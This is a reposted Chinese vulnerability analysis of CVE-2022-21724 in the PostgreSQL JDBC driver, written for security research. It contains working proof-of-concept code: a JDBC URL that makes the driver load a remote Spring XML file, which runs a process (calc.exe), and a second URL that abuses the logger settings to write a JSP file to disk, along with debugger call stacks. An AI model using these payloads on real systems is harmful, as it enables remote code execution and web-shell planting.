PostgreSQLJDBCDriverRCE(CVE-2022-21724)与任意文件写入漏洞利用与分析

admin 2026-05-22 03:33:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析了PostgreSQLJDBC驱动中的两个安全漏洞CVE-2022-21724:RCE漏洞通过socketFactory参数实例化恶意类加载远程XML实现代码执行;任意文件写入漏洞利用loggerFile参数将可控URL内容写入指定文件。文档详细描述了漏洞影响版本、POC代码、调试过程与调用栈分析,并提供了完整的漏洞验证环境搭建与利用方法,建议用户及时升级到安全版本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,安全工具,实战经验,安全开发


cover_image

PostgreSQL JDBC Driver RCE(CVE-2022-21724)与任意文件写入漏洞利用与分析

小白爱学习Sec

2026年5月20日 08:15 云南

在小说阅读器读本章

去阅读

0x00 前言

在我不清楚这个漏洞的触发原因时,还傻乎乎的先搭建了个PostgreSQL数据库。

0x01 RCE 漏洞描述

PostgreSQL JDBC Driver是一个用 Pure Java(Type 4)编写的开源 JDBC 驱动程序,用于 PostgreSQL 本地网络协议中进行通信。

PostgreSQL JDBC Driver(简称 PgJDBC)存在安全漏洞,该漏洞源于pgjdbc连接属性提供的类名实例化插件实例,驱动程序在实例化类之前并不验证类是否实现了预期的接口从而导致远程代码。

影响版本

根据NVD报道: • < 42.2.25 • >= 42.3.0,< 42.3.2

漏洞分析

首先我们在本地构造一个触发该漏洞的环境,先在pom.xml引入存在漏洞的PostgreSQL依赖

<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.0</version>
<dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>

根据前面提到的参考链接,我们构造以下漏洞验证代码

import&nbsp;java.sql.DriverManager;

publicclasscve_2022_21724{
publicstaticvoidmain(String[]args)throws&nbsp;Exception{
&nbsp; &nbsp; &nbsp; &nbsp; String socketFactoryClass =&nbsp;"org.springframework.context.support.ClassPathXmlApplicationContext";
&nbsp; &nbsp; &nbsp; &nbsp; String socketFactoryArg =&nbsp;"http://127.0.0.1/poc.xml";
&nbsp; &nbsp; &nbsp; &nbsp; String dbUrl =&nbsp;"jdbc:postgresql:///?socketFactory="+socketFactoryClass+"&amp;socketFactoryArg="+socketFactoryArg;
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(dbUrl);
&nbsp; &nbsp; &nbsp; &nbsp; DriverManager.getConnection(dbUrl);
&nbsp; &nbsp; }
}

在恶意poc.xml文件下填入以下内容

<beansxmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
&nbsp; &nbsp; &nbsp;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<beanid="test"class="java.lang.ProcessBuilder">
<constructor-argvalue="calc.exe"&nbsp;/>
<propertyname="whatever"value="#{test.start()}"/>
</bean>
</beans>

在此处做断点,先Force Set into强制跟进到java.sql.DriverManager

包中

识别判断出将利用org.postgresql.Driver的jdbc驱动去连接数据库

以下代码处将取出dbUrl中的值重新赋值,并调用makeConnection开始尝试连接数据库

Properties props =&nbsp;new&nbsp;Properties(defaults);
if&nbsp;(info !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; Set<String> e = info.stringPropertyNames();
for&nbsp;(String propName : e) {
&nbsp; &nbsp; &nbsp; &nbsp; String propValue = info.getProperty(propName);
if&nbsp;(propValue ==&nbsp;null) {
thrownew&nbsp;PSQLException(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GT.tr("Properties for the driver contains a non-string value for the key ")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + propName,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PSQLState.UNEXPECTED_ERROR);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; props.setProperty(propName, propValue);
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
// parse URL and add more properties
if&nbsp;((props = parseURL(url, props)) ==&nbsp;null) {
returnnull;
&nbsp; &nbsp; }
try&nbsp;{
// Setup java.util.logging.Logger using connection properties.
&nbsp; &nbsp; &nbsp; setupLoggerFromProperties(props);

&nbsp; &nbsp; &nbsp; LOGGER.log(Level.FINE,&nbsp;"Connecting with URL: {0}", url);

// Enforce login timeout, if specified, by running the connection
// attempt in a separate thread. If we hit the timeout without the
// connection completing, we abandon the connection attempt in
// the calling thread, but the separate thread will keep trying.
// Eventually, the separate thread will either fail or complete
// the connection; at that point we clean up the connection if
// we managed to establish one after all. See ConnectThread for
// more details.
long&nbsp;timeout = timeout(props);
if&nbsp;(timeout <=&nbsp;0) {
return&nbsp;makeConnection(url, props);
&nbsp; &nbsp; &nbsp; }

跟进到org.postgresql.jdbc#PgConnection方法中,可以看到将调用org.postgresql.core.ConnectionFactory#openConnection方法,将连接数据库所需要的参数传入

持续跟进,还是一样将所需参数带入到org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl方法中。我们其实也是只需要跟进info就好

再跟进到org.postgresql.core.SocketFactoryFactory#getSocketFactory方法中,可以看到先是取出我们的socketFactorysocketFactoryArg参值,一同带入类似将socketFactory涉及到的类进行实例化的节奏

持续跟进可以看到它先是反射获取我们的指定类,并获取org.springframework.context.support.ClassPathXmlApplicationContext的构造方法,与传入的socketFactory相关参值一同实例化之后即解析远程访问的poc.xml

这里我们跟进org.springframework.context.support.ClassPathXmlApplicationContext的构造方法,在这里会调用其父类AbstractXmlApplicationContext#refresh方法以给定的恶意XML文件中加载定义

publicClassPathXmlApplicationContext(String[] configLocations,&nbsp;boolean&nbsp;refresh, ApplicationContext parent)
throws&nbsp;BeansException&nbsp;{

super(parent);
&nbsp; &nbsp; &nbsp; &nbsp; setConfigLocations(configLocations);
if&nbsp;(refresh) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; refresh();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

我们通过AbstractXmlApplicationContext#refresh方法,持续跟进方法内调用的finishBeanFactoryInitialization(beanFactory)-→org.springframework.beans.factort.support类相关方法操作,可以看到在调用refresh方法开始,已经是对我们传入的poc.xml文件进行加载了

主要调用栈如下:

newInstance:408, Constructor (java.lang.reflect)
instantiate:62, ObjectFactory (org.postgresql.util)
getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:11, cve_2022_21724 (vultest)

思路总结

造成代码执行原理较为简单,通过存在漏洞的postgresql数据库JDBC驱动,构造socketFactory相关参数利用支持解析并加载xml的类进行实例化之后去解析咱们恶意的poc.xml,以实现RCE

测试远程利用

构建httpserver服务端以接受poc传参,效果如下图

0x02 任意文件写入

影响版本

根据NVD报道:

  • 42.3.x < 42.3.3
  • 42.1.x

漏洞分析

pom.xml可直接利用上面RCE的依赖 poc验证代码如下:

import&nbsp;java.sql.DriverManager;

publicclasscve_2022_21724_filewrite{
publicstaticvoidmain(String[]args)throws&nbsp;Exception{
&nbsp; &nbsp; &nbsp; &nbsp; String loggerLevel="DEBUG";
&nbsp; &nbsp; &nbsp; &nbsp; String loggerFile="../hack.jsp";
&nbsp; &nbsp; &nbsp; &nbsp; String shellContent="<%25test;%25>";

&nbsp; &nbsp; &nbsp; &nbsp; String dbUrl =&nbsp;"jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(dbUrl);
&nbsp; &nbsp; &nbsp; &nbsp; DriverManager.getConnection(dbUrl);
&nbsp; &nbsp; }
}

断点分析还是先来到org.postgresql#connect方法中的Connection con = aDriver.driver.connect(url, info);org.postgresql.Driver#connect开始,将提取出传参内容带入到setupLoggerFromProperties方法中

持续跟进该方法,提取判断出loggerLevelDEBUGloggerFile为我们指定的文件名,以创建一个临时文件,准备将日志信息写入到该文件

再完成以上日志操作初始化后,跳出setupLoggerFromProperties方法,会看到LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);这里直接调用java.util.logging#Logger.log方法将URL写入了日志,由于我们写入的是jsp文件,即需要配合<%即可看作是正常写入了jsp代码进该文件。加上前面在日志文件初始化的过程中,因为URL是可控且不受过滤干扰,所以总体下来我们可以实现任意文件写入。

主要调用栈如下:

log:824, Logger (java.util.logging)
connect:253, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:13, cve_2022_21724_filewrite (vultest)

思路总结

在利用postgresql的jdbc连接提供的数据源时,会进行日志初始化等操作,我们只需要指定loggerLevelloggerFile即可将jdbc://的URL内容写入指定文件

本地利用效果图

END~

原文链接:https://forum.butian.net/share/1339


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小白爱学习Sec 《PostgreSQL JDBC Driver RCE(CVE-2022-21724)与任意文件写入漏洞利用与分析》

评论:0   参与:  0